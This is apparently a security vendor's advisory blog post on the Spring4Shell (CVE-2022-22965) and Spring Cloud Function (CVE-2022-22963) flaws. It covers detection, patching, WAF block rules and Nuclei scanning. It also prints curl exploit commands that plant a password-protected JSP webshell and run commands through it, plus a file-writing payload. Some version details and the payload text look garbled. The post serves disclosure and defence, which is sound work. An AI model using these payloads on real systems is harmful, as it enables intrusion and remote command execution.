Cybersecurity blog header

Spring4Shell Vulnerability – CVE-2022-22965 and CVE-2022-22963

The detected Spring4Shell vulnerability has compromised webs security During this week, two security vulnerabilities in the Java Spring framework have become known that allows to remotely take control of vulnerable applications. These new web vulnerabilities, reminiscent of Log4Shell, are currently being actively exploited so it is recommended to review web applications and patch them as soon as possible.

Spring4Shell vulnerability – CVE-2022-22965

Spring4Shell or SpringShell have been the names given to the vulnerability that was later assigned the code CVE-2022-22965 and that allows code to be executed remotely through a sequence of specific HTTP requests. The Spring4Shell vulnerability is very critical and can compromise the confidentiality, integrity, and availability of data managed by a vulnerable application. This weakness affects functions that make use of the @RequestMapping annotation and take Plain Old Data Objects (POJO) as an input parameter.

  • Impact of the vulnerability: RCE (Remote Code Execution)
  • CVSS: 9.8
  • Requirements: Spring MVC and Spring WebFlux usage.
    • Application Container: Apache Tomcat (Exploits are currently only available for this environment)
    • Applications packaged as WAR
    • Dependencies: SpringMVC and Spring WebFlux
    • JDK >=9
    • Spring versions affected below:
      • 5.3.18
      • 5.2.20

The official releases about this vulnerability provide all the official information in the following links: •

Spring4Shell exploit method

The exploits developed and published so far make use of a Tomcat Java class, the AccessLogValve ( Because it is possible to abuse how the Spring Beans component loads the request parameters, the instance of this class can be referenced and its attributes modified at runtime. The operation of these exploits resides in referencing the class through the classLoader with parameters such as the following:


This would change the suffix of the log file to “.jsp”. By manipulating this type of parameter, it is possible to modify the behavior of the Tomcat application server, causing a JSP file to be created in the web apps/ROOT directory with malicious code, such as a webshell in most cases. After a first HTTP request modifying all attributes, the next request is already able to make use of the webshell and execute the commands sent as parameters.

How to check if I am vulnerable to the Spring4Shell vulnerability

To confirm if a system endpoint is vulnerable to Spring4Shell, it is not necessary to modify the behavior of the Tomcat logging function. From Tarlogic we present three possible ways to detect and exploit the Spring4Shell vulnerability in a vulnerable Spring instance:

External security verification (non-intrusive):

This request is completely innocuous to the remote service, so it can be executed in any kind of environment without the risk of modifying the application behavior:

$ curl -v https://TARGET/PATH/?class.module.classLoader.URLs%5B0%5D=0

Another way to detect the vulnerability is as follows:

$ curl -i -k https://TARGET/PATH/?class.module.classLoader.DefaultAssertionStatus=nosense | grep -i 400

  • Returns a 400 error if vulnerable:

Java App tested against Spring4Shell CVE-2022-2296

  • In case it’s not vulnerable, either because the application is patched or the Spring version is up to date, the application will ignore the parameter by returning a different status code:

web app without fixes to Spring4shell vulnerability.

External verification (Intrusive attack):

The following command would create a password protected webshell (pwd=TARLOGIC):

$ curl -H “suffix”:”%>//” -H “c1″:”Runtime” -H “c2″:”<%” -H “c3″:”TARLOGIC” -H “DNT”:”1″ -H “Content-Type”:”application/x-www-form-urlencoded” -d ‘class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22%25%7Bc3%7Di%22.equals(request.getParameter(%22pwd%22)))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&’ https://TARGET

Subsequently, the remote shell can be invoked at the following URL:

$ https://TARGET/tomcatwar.jsp?pwd=TARLOGIC&cmd=whoami

External verification (less intrusive attack):

This somewhat less intrusive exploit method than the previous one creates a log file with the text “Tarlogic 2022” in the path https://YOURSERVER/tarlogicCheckSpring4Shell.jsp. The commands to execute are as follows:

$ curl -v -d “class.module.classLoader.resources.context.parent.pipeline.first.pattern=Tarlogic%202022&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&” https://YOURSERVER/ $ curl https://YOURSERVER/tarlogicCheckSpring4Shell.jsp

It’s recommended to restart the webserver after verifying the vulnerability to restore the normal operation of the application.

Spring vulnerability fixes

The latest version of the Spring framework has been patched on March 31, 2022. The commit where the code that fixes the vulnerability is included is available at the following link:

Patch update and deployment:

Patching is the optimal method to protect against the Java Spring4Shell vulnerability. The updated versions of the application are listed below:

In the case of SpringBoot, the versions that include the patches are:

Spring4shell mitigation actions alternatives

Temporarily, the following spring4shell vulnerability mitigation actions are proposed:

  • Block by rule in the WAF the use of parameters whose name contains the string “classLoader” or the start of the reference to it:
    • Block strings “class.”, “Class.”, “.class.”, and “.Class.”
  • Workaround patching classes:
  • Making use of a lower JDK version, such as 8, could fix the problem, although it would open the door to other attacks.

Exploit detection

Spring4shell exploit detection can be done using the following Yara rules: Although the main recommendation is to patch.

Vulnerability CVE-2022-22963

The vulnerability CVE-2022-22963 has a high criticality allowing remote code execution, which could compromise the confidentiality, integrity, and availability of data managed by a vulnerable application. This vulnerability was handled correctly and has had a CVE code since its publication. Official documentation can be found at the following websites:

Spring Cloud Functions can be used in serverless functions deployed across multiple Cloud providers. Successful exploitation could allow accounts or other services published in the cloud to be compromised.

  • Impact: RCE (Remote Code Execution).
  • Requirements: Need to be using Spring Cloud Function framework.
  • Affected versions: <=3.1.6 and <=
  • CVSS: (9.8 CRITICAL)

Solution for vulnerability CVE-2022-22963

The main solution is to urgently upgrade the Spring Cloud Functions component to the new versions available that fix this vulnerability:

  • 3.1.7
  • 3.2.3

Testing for vulnerability CVE-2022-22963 with nuclei

Here is how to check for the presence of the vulnerability remotely with Nuclei:

  • $ nuclei -ut
  • $ nuclei -l LIST_URLS.txt -t cves/2022/CVE-2022-22963.yaml -rl 10 -o nuclei_CVE-2022-22963.out

Additional Spring4Shell references

  2. Original vulnerability discovery link:
  3. Explanation with vulnerable app:
  4. Explanation in English:
  5. Additional requirements to JDK 9+:
  6. Tweet about Spring4Shell detection:
  7. Spring Framework releases:
  8. Vulnerable app:
  10. Twitter account:
  11. Nuclei template to validate Spring4Shell:

We will update the content as additional information about the Spring4Shell vulnerability and detection, exploitation, and mitigation techniques become available.

Leave a comment